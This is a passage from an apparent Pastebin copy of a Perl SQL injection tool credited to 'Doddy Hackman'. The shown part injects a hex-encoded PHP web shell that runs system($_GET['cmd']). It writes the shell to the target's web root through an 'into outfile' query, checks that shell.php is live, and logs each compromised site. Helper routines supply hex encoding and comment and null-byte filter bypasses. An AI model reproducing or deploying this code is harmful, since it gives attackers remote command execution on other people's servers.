  1586.                   . "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
  1587.                   . $end
  1588.                   . $pass1 . "into"
  1589.                   . $pass1
  1590.                   . "outfile"
  1591.                   . $pass1 . "'"
  1592.                   . $shell . "'"
  1593.                   . $pass2 );
  1594.             $code1 =
  1595.               toma( "http://" . $auth . "/" . $path2 . "/" . "shell.php" );
  1596.             if ( $code1 =~ /Mini Shell By Doddy/ig ) {
  1597.                 print "[Shell Up] : http://"
  1598.                   . $auth . "/"
  1599.                   . $path2 . "/"
  1600.                   . "shell.php" . "\a\a";
  1601.                 savefile(
  1602.                     $save . ".txt",
  1603.                     "[shell up] : http://"
  1604.                       . $auth . "/"
  1605.                       . $path2 . "/"
  1606.                       . "shell.php"
  1607.                 );
  1608.             }
  1609.             else {
  1610.                 print "[Shell] : Not Found";
  1611.             }
  1612.         }
  1613.     }
  1614. }
  1615.  
  1616. sub encode {
  1617.     my $string = $_[0];
  1618.     $hex = '0x';
  1619.     for ( split //, $string ) {
  1620.         $hex .= sprintf "%x", ord;
  1621.     }
  1622.     return $hex;
  1623. }
  1624.  
  1625. sub decode {
  1626.     $_[0] =~ s/^0x//;
  1627.     $encode = join q[], map { chr hex } $_[0] =~ /../g;
  1628.     return $encode;
  1629. }
  1630.  
  1631. sub bypass {
  1632.     if    ( $_[0] eq "/*" )  { return ( "/**/", "/**/" ); }
  1633.     elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  1634.     else                     { return ( "+",    "--" ); }
  1635. }
  1636.  
  1637. sub ascii {
  1638.     return join ',', unpack "U*", $_[0];
  1639. }
  1640.  
  1641. sub ascii_de {
  1642.     $_[0] = join q[], map { chr } split q[,], $_[0];
  1643.     return $_[0];
  1644. }
  1645.  
  1646. sub finish {
  1647.     &copyright;
  1648.     <STDIN>;
  1649.     exit(1);
  1650. }
  1651.  
  1652. sub installer {
  1653.     unless ( -d "/logs/webs" ) {
  1654.         mkdir( "logs/",      777 );
  1655.         mkdir( "logs/webs/", 777 );
  1656.     }
  1657. }
  1658.  
  1659. sub copyright {
  1660.     print "\n\n\n(C) Doddy Hackman 2012\n\n";
  1661. }
  1662.  
  1663. sub toma {
  1664.     return $nave->get( $_[0] )->content;
  1665. }
  1666.  
  1667. sub savefile {
  1668.     open( SAVE, ">>logs/webs/" . $_[0] );
  1669.     print SAVE $_[1] . "\n";
  1670.     close SAVE;
  1671. }
  1672.  
  1673. sub partimealmedio {
  1674.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  1675.     my $save = $auth;
  1676.     $save =~ s/:/_/;
  1677.     return $save;
  1678. }
  1679.  
  1680. sub clean {
  1681.     my $os = $^O;
  1682.     if ( $os =~ /Win32/ig ) {
  1683.         system("cls");
  1684.     }
  1685.     else {
  1686.         system("clear");
  1687.     }
  1688. }
  1689.  
  1690. # The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!